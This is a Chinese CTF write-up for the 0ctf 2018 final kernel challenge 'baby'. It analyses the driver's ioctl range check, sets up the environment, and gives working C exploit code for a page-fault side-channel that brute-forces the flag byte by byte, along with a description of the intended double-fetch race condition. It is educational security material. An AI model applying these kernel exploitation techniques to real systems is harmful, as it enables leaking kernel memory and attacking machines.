【kernel pwn】0ctf 2018 final baby题解

题目及相关下载 密码:fant

题目分析

题目代码很简单,仅注册了ioctl函数,里面包含了两个case,在参数为0x6666时,可以泄露出bss段flag的地址。

在参数为0x1337时,用户输入是一个结构体,而传入驱动的是一个指针。

这个结构体应该是这样的:

1
2
3
4
5
struct _input 
{
char *flag;
size_t len;
};

对这个结构体指针进行一系列判断以后,会比较结构体中的flag指针指向的内容和长度,当比较的用户输入长度和内容都是flag时,使用printk打印flag内容。

仔细查看一下_chk_range_not_ok,看类C代码看不出什么意思,查看一下汇编代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
.text:0000000000000000 __chk_range_not_ok proc near            ; CODE XREF: baby_ioctl+7B↓p
.text:0000000000000000 ; baby_ioctl+BD↓p
.text:0000000000000000 push rbp
.text:0000000000000001 add rdi, rsi
.text:0000000000000004 mov rbp, rsp
.text:0000000000000007 jb short loc_11
.text:0000000000000009 cmp rdx, rdi
.text:000000000000000C setb al
.text:000000000000000F pop rbp
.text:0000000000000010 retn
.text:0000000000000011 ; ---------------------------------------------------------------------------
.text:0000000000000011
.text:0000000000000011 loc_11: ; CODE XREF: __chk_range_not_ok+7↑j
.text:0000000000000011 mov eax, 1
.text:0000000000000016 pop rbp
.text:0000000000000017 retn
.text:0000000000000017 __chk_range_not_ok endp

可以看出,是将第一个参数和第二个参数相加,判断是否小于第三个参数,如果不小于将al置为1。

在动态调试的时候,发现第三个参数是一个常量: 0x7ffffffff000

这样的话,题目就很清楚了。判断的限制是传入的结构体+16,也就是整个结构体要在用户态中,并且结构体中第一个成员所指向的内存也要在用户态中。并且第二个参数要和bss段上的flag长度相等。这样会逐字节比较输入的flag是否等于bss保存的flag。

环境搭建

和libc的pwn题不太一样,内核驱动的pwn需要驱动在一个版本的内核代码下编译,否则无法运行。

在程序代码中可以看到一个内核版本号——4.15.0-22-generic SMP mod_unload,我从官网源代码下载的版本只有4.15.0而没有-22的小版本。

此时,可以通过下载相应的内核deb包。

1
apt download linux-image-4.15.0-22-generic

下载得到的linux-image-4.15.0-22-generic_4.15.0-22.24~16.04.1_amd64.deb中data.tar.xz下的boot中可以找到一个叫vmlinuz-4.15.0-22-generic的文件,这就是需要的内核映像。

此处需要明确文件的区别 //一定是我太菜才不知道

vmlinux:这个是编译出来原始的内核,未经过压缩,不能直接通过qemu启动,是一个ELF文件,里面包括了符号表等等一系列内核相关的指令,可以用IDA Pro查看,可以找gadget等等等等。类比于libc pwn中的libc-2.23.so之类的,给了这个东西就可以找gadget、找地址偏移等等。

bzImage:这个是vmlinux压缩以后,并且加上一段解压启动代码得到。这个东西可以放到QEMU中跑,但是不能用IDA打开。

*.cpio:这个东西一般都是打包生成的,最开始是从busybox中导出来的,类似于启动的文件系统吧(?)一般kernel pwn会在这里放*.ko。甚至放vmlinux…

漏洞利用

环境搭建起来了,就可以看一下漏洞如何利用了。比赛中出现了两种解题方法,一种是预期解,另外一种是侧信道攻击。

侧信道攻击

所谓侧信道攻击就是用能标明flag内容的方法,通过其他表现形式把flag爆破出来。

在程序中存在一个问题,就是在比较之前没有判断用户输入的flag段是否可读的,当输入的flag处于不可读段的时候,在比较时会触发段错误,从而造成kernel panic,利用这种现象可以用一下方法每次爆破一个字节的flag。

方法原理如下,利用mmap新建3个段,第一个、第三个权限设为000,第二可读写,并且每次将已有的flag防止在第二个段的最后,每次最后一个字节时爆破的字节,当这个字节和flag不符合时,内核驱动会退出,因此不触发错误。而当最后一个字节正确时,程序比较会下移一个字节,触发错误,引起kernel panic,从而可以判断出单字节的flag,原理如下:

这样测试33次就可以得到flag了。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
// start.c 
// for start pwn.c
#include <stdio.h>

int main(){
char *ch = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%%&\\'()*+,-./:;<=>?@[]^_`{|}~";
char input[34]= {0};
char order[0x100];
char order2[0x100];
FILE * fd = fopen("save.txt","a+");
fscanf(fd,"%s",input);
for(int i = 1;i<strlen(ch);i++){
if (ch[i] == '\"' || ch[i] == '\\' || ch[i] == '`' ){
sprintf(order,"echo \"%s\\%c\" > save.txt",input,ch[i]);
sprintf(order2,"./pwn %s\\%c",input,ch[i] );
}
else{
sprintf(order,"echo \"%s%c\" > save.txt",input,ch[i]);
sprintf(order2,"./pwn %s%c",input,ch[i] );
}
printf("%s\n",order2);
system(order);
system(order2);

//strcpy(order,"echo \"");
//strcpy
//system("")
}

}

/*----------------------------------------------------------------------------------------*/
// pwn.c
// test per round
#include <stdio.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
struct _input
{
char *flag;
size_t len;
};
int main(int argc,char *argv[])
{
int i , fd;
char *buf;
struct _input input ;
if (argc!=2){
printf("argc error");
return -1;
}
printf("<= DBG => input : %s len: %d \n",argv[1],strlen(argv[1]));
mmap(0,0x1000,PROT_NONE,MAP_SHARED|MAP_ANONYMOUS,0,0);
buf = mmap(0,0x1000,PROT_READ|PROT_WRITE,MAP_SHARED|MAP_ANONYMOUS,0,0);
mmap(0,0x1000,PROT_NONE,MAP_SHARED|MAP_ANONYMOUS,0,0);
if(buf>0)
printf("<= DBG => get a memeroy: %p\n",buf);
for(i=0 ; i<strlen(argv[1]);i++){
buf[0x1000 - strlen(argv[1]) + i] = argv[1][i];
printf("<= DBG => addr: %p content: %c \n", &buf[0x1000 - strlen(argv[1]) + i], argv[1][i] );
}
fd = open("/dev/baby",O_RDWR);
if(fd<0){
printf("cannot open /dev/baby\n");
return -1;
}
printf("<= DBG => fd of /dev/baby: %d\n",fd);
((struct _input * )buf)->len = 33;
((struct _input * )buf)->flag = (buf+0x1000-strlen(argv[1]));
printf("<= DBG => input: %p\n",input.flag);
ioctl(fd,0x1337,buf);
close(fd);
}

预期解

预期解的漏洞叫做double fetch漏洞,应该算是一种竞争条件漏洞

Serna[ Serna, F. J. MS08-61:thecaseofthekernelmodedoublefetch,2008.https://blogs.technet.microsoft.com/srd/2008/10/14/ms08-061-the-case-of-the-kernel-mode-double-fetch/.]

用户通常会通过调用内核函数完成特定功能,当内核函数两次从同一用户内存地址读取同一数据时,通常第一次读取用来验证数据或建立联系,第二次则用来使用该数据。与此同时,用户空间并发运行的恶意线程可以在两次内核读取操作之间,利用竞争条件对该数据进行篡改,从而造成内核使用数据的不一致。Double fetch漏洞可造成包括缓冲区溢出、信息泄露、空指针引用等后果,最终造成内核崩溃或者恶意提权。

也就是说,参数是从用户态传进来的,当用户态对传入的结构体改变时,内核读到的数据也会被改变。

因此,在用户态新建一个线程不断的修改传入的结构体中flag指针为内核flag的值。当驱动运行时,恰好通过地址验证后,在数据判断之前内核数据flag地址被改掉的话,则可以做到通过内容验证,从而打印出flag内容。

printk输出的内容可以用dmesg来查看。

此处有个坑点,是QEMU默认启动时会使用当个core、单个thread,这样内核相当于是单进程的。

而单进程的内核很难触发这个漏洞,因此需要在QEMU启动时设置好内核和进程数如:

1
-m 256M -smp 2,cores=2,threads=1  \

这个问题坑了我好久,此处非常感谢Veritas501师傅

具体EXP,Veritas501师傅的文章写的很好了,我没有什么创新点就不写了。

reference

https://veritas501.space/2018/06/04/0CTF%20final%20baby%20kernel/

https://www.secspace.com/view-ff3bbe863b544a929f96110e7b8992c8-e5cf621eacdb49b3b35b71a20e0ce9be.html

文章目录
  1. 1. 题目分析
  2. 2. 环境搭建
  3. 3. 漏洞利用
    1. 3.1. 侧信道攻击
    2. 3.2. 预期解
  4. 4. reference
|